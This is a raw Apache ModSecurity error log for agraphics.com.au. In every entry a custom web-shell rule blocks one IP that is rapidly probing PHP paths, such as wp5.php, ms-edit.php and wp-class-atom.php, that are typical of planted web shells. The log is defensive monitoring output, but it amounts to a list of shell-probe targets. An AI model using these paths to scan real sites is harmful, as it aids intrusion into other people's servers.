[Thu Apr 23 21:20:22.366965 2026] [:error] [pid 46953:tid 46960] [client 158.158.123.88:65483] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeoclknlpdHh-P6wKbo4mgAAAkQ"]
[Thu Apr 23 21:20:22.367085 2026] [:error] [pid 46953:tid 46963] [client 158.158.123.88:48374] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoclknlpdHh-P6wKbo4mwAAAkc"]
[Thu Apr 23 21:20:22.879820 2026] [:error] [pid 64998:tid 65002] [client 158.158.123.88:33270] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeocloV5EysYcTLjmwh6AAAAAcA"]
[Thu Apr 23 21:20:23.604054 2026] [:error] [pid 42973:tid 43054] [client 158.158.123.88:4854] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeocl26I0QqmmmLTHE0aUgAAAIs"]
[Thu Apr 23 21:20:24.333878 2026] [:error] [pid 65000:tid 65038] [client 158.158.123.88:65482] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeocmL6vRb9j6psK2ZaEQgAAAgU"]
[Thu Apr 23 21:20:24.789928 2026] [:error] [pid 42972:tid 43035] [client 158.158.123.88:52309] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeocmMOAb-3sOknsk4c7EQAAAFM"]
[Thu Apr 23 21:20:26.633453 2026] [:error] [pid 43083:tid 43105] [client 158.158.123.88:4538] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeocmjC5hrvNXosL83J36wAAANQ"]
[Thu Apr 23 21:20:26.960117 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:48371] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeocmr6vRb9j6psK2ZaETAAAAhg"]
[Thu Apr 23 21:20:27.529664 2026] [:error] [pid 65000:tid 65056] [client 158.158.123.88:34966] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aeocm76vRb9j6psK2ZaEUQAAAhc"]
[Thu Apr 23 21:20:28.866422 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:62837] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeocnL6vRb9j6psK2ZaEVwAAAhQ"]
[Thu Apr 23 21:20:29.456967 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:4813] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeocnb6vRb9j6psK2ZaEXQAAAhM"]
[Thu Apr 23 21:20:30.236200 2026] [:error] [pid 43083:tid 43108] [client 158.158.123.88:48323] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeocnjC5hrvNXosL83J37gAAANc"]
[Thu Apr 23 21:20:31.604320 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:34437] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeocn76vRb9j6psK2ZaEYwAAAgc"]
[Thu Apr 23 21:20:31.714320 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:43800] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeocn76vRb9j6psK2ZaEZQAAAgQ"]
[Thu Apr 23 21:20:32.649138 2026] [:error] [pid 43083:tid 43095] [client 158.158.123.88:4828] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aeocoDC5hrvNXosL83J39wAAAMo"]
[Thu Apr 23 21:20:33.025462 2026] [:error] [pid 43083:tid 43087] [client 158.158.123.88:63369] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeocoTC5hrvNXosL83J3-AAAAMI"]
[Thu Apr 23 21:20:33.494332 2026] [:error] [pid 43083:tid 43097] [client 158.158.123.88:29349] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeocoTC5hrvNXosL83J3-wAAAMw"]
[Thu Apr 23 21:20:33.863686 2026] [:error] [pid 64998:tid 65026] [client 158.158.123.88:62117] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeocoYV5EysYcTLjmwh6BQAAAdg"]
[Thu Apr 23 21:20:34.391874 2026] [:error] [pid 42973:tid 43066] [client 158.158.123.88:24918] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeocom6I0QqmmmLTHE0aUwAAAJc"]
[Thu Apr 23 21:20:34.485197 2026] [:error] [pid 42972:tid 43037] [client 158.158.123.88:47062] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeocosOAb-3sOknsk4c7FgAAAFU"]
[Thu Apr 23 21:20:35.141749 2026] [:error] [pid 65000:tid 65056] [client 158.158.123.88:24945] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoco76vRb9j6psK2ZaEcgAAAhc"]
[Thu Apr 23 21:20:35.299116 2026] [:error] [pid 64998:tid 65017] [client 158.158.123.88:62087] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeoco4V5EysYcTLjmwh6BgAAAc8"]
[Thu Apr 23 21:20:35.980121 2026] [:error] [pid 46953:tid 46965] [client 158.158.123.88:47050] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoco0nlpdHh-P6wKbo4ngAAAkk"]
[Thu Apr 23 21:20:36.493615 2026] [:error] [pid 65000:tid 65049] [client 158.158.123.88:65459] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aeocpL6vRb9j6psK2ZaEdQAAAhA"]
[Thu Apr 23 21:20:36.699526 2026] [:error] [pid 65000:tid 65029] [client 158.158.123.88:24899] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeocpL6vRb9j6psK2ZaEegAAAgA"]
[Thu Apr 23 21:20:37.062708 2026] [:error] [pid 42971:tid 42988] [client 158.158.123.88:47047] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeocpTEP2_5RswrH8bEqmgAAAAI"]
[Thu Apr 23 21:20:37.296553 2026] [:error] [pid 42971:tid 42994] [client 158.158.123.88:65409] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeocpTEP2_5RswrH8bEqnQAAAAg"]
[Thu Apr 23 21:20:37.859962 2026] [:error] [pid 64967:tid 64979] [client 158.158.123.88:29331] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeocpYAV4GfOOdX8Qzp1YgAAAYo"]
[Thu Apr 23 21:20:37.908761 2026] [:error] [pid 64967:tid 64992] [client 158.158.123.88:24909] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeocpYAV4GfOOdX8Qzp1YwAAAZc"]
[Thu Apr 23 21:20:38.471312 2026] [:error] [pid 43083:tid 43103] [client 158.158.123.88:63378] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeocpjC5hrvNXosL83J4BgAAANI"]
[Thu Apr 23 21:20:38.530501 2026] [:error] [pid 65000:tid 65053] [client 158.158.123.88:43819] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeocpr6vRb9j6psK2ZaEhQAAAhQ"]
[Thu Apr 23 21:20:38.992492 2026] [:error] [pid 46953:tid 46972] [client 158.158.123.88:33254] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aeocpknlpdHh-P6wKbo4nwAAAlA"]
[Thu Apr 23 21:20:39.275168 2026] [:error] [pid 65000:tid 65046] [client 158.158.123.88:34450] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeocp76vRb9j6psK2ZaEiAAAAg0"]
[Thu Apr 23 21:20:39.627319 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:24909] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeocp4V5EysYcTLjmwh6DAAAAdE"]
[Thu Apr 23 21:20:39.846028 2026] [:error] [pid 64998:tid 65005] [client 158.158.123.88:52911] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeocp4V5EysYcTLjmwh6DQAAAcM"]
[Thu Apr 23 21:20:40.211100 2026] [:error] [pid 64998:tid 65002] [client 158.158.123.88:34491] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeocqIV5EysYcTLjmwh6DgAAAcA"]
[Thu Apr 23 21:20:40.398252 2026] [:error] [pid 42973:tid 43050] [client 158.158.123.88:51062] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeocqG6I0QqmmmLTHE0aVgAAAIc"]
[Thu Apr 23 21:20:40.930103 2026] [:error] [pid 64998:tid 65008] [client 158.158.123.88:52952] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeocqIV5EysYcTLjmwh6EQAAAcY"]
[Thu Apr 23 21:20:41.209857 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:63366] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeocqYV5EysYcTLjmwh6FQAAAcQ"]
[Thu Apr 23 21:20:41.500786 2026] [:error] [pid 64998:tid 65024] [client 158.158.123.88:62114] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeocqYV5EysYcTLjmwh6FwAAAdY"]
[Thu Apr 23 21:20:41.840129 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:52902] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeocqb6vRb9j6psK2ZaEnwAAAhg"]
[Thu Apr 23 21:20:42.083486 2026] [:error] [pid 42973:tid 43053] [client 158.158.123.88:60900] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocqm6I0QqmmmLTHE0aVwAAAIo"]
[Thu Apr 23 21:20:42.395387 2026] [:error] [pid 65000:tid 65029] [client 158.158.123.88:32523] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocqr6vRb9j6psK2ZaEogAAAgA"]
[Thu Apr 23 21:20:42.580694 2026] [:error] [pid 65000:tid 65055] [client 158.158.123.88:34441] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocqr6vRb9j6psK2ZaEpAAAAhY"]
[Thu Apr 23 21:20:42.877525 2026] [:error] [pid 59700:tid 59719] [client 158.158.123.88:65433] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocqpXyGZJFeAIDWtkosAAAAVE"]
[Thu Apr 23 21:20:43.258937 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:60880] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocq76vRb9j6psK2ZaEqwAAAgY"]
[Thu Apr 23 21:20:43.398351 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:32546] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocq76vRb9j6psK2ZaErQAAAgg"]
[Thu Apr 23 21:20:43.842437 2026] [:error] [pid 46953:tid 46961] [client 158.158.123.88:63423] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aeocq0nlpdHh-P6wKbo4owAAAkU"]
[Thu Apr 23 21:20:43.925399 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:60865] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeocq76vRb9j6psK2ZaEsAAAAgc"]
[Thu Apr 23 21:20:44.385957 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:52874] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocrL6vRb9j6psK2ZaEsgAAAgk"]
[Thu Apr 23 21:20:44.558255 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:32540] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocrL6vRb9j6psK2ZaEtAAAAgQ"]
[Thu Apr 23 21:20:44.954786 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:63395] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocrL6vRb9j6psK2ZaEuAAAAg8"]
[Thu Apr 23 21:20:45.164437 2026] [:error] [pid 64998:tid 65010] [client 158.158.123.88:52944] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocrYV5EysYcTLjmwh6HAAAAcg"]
[Thu Apr 23 21:20:46.084036 2026] [:error] [pid 46953:tid 46971] [client 158.158.123.88:26220] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocrknlpdHh-P6wKbo4pQAAAk8"]
[Thu Apr 23 21:20:46.158820 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:32528] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeocrr6vRb9j6psK2ZaEwwAAAgg"]
[Thu Apr 23 21:20:46.879924 2026] [:error] [pid 42972:tid 43024] [client 158.158.123.88:65439] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aeocrsOAb-3sOknsk4c7GgAAAEg"]
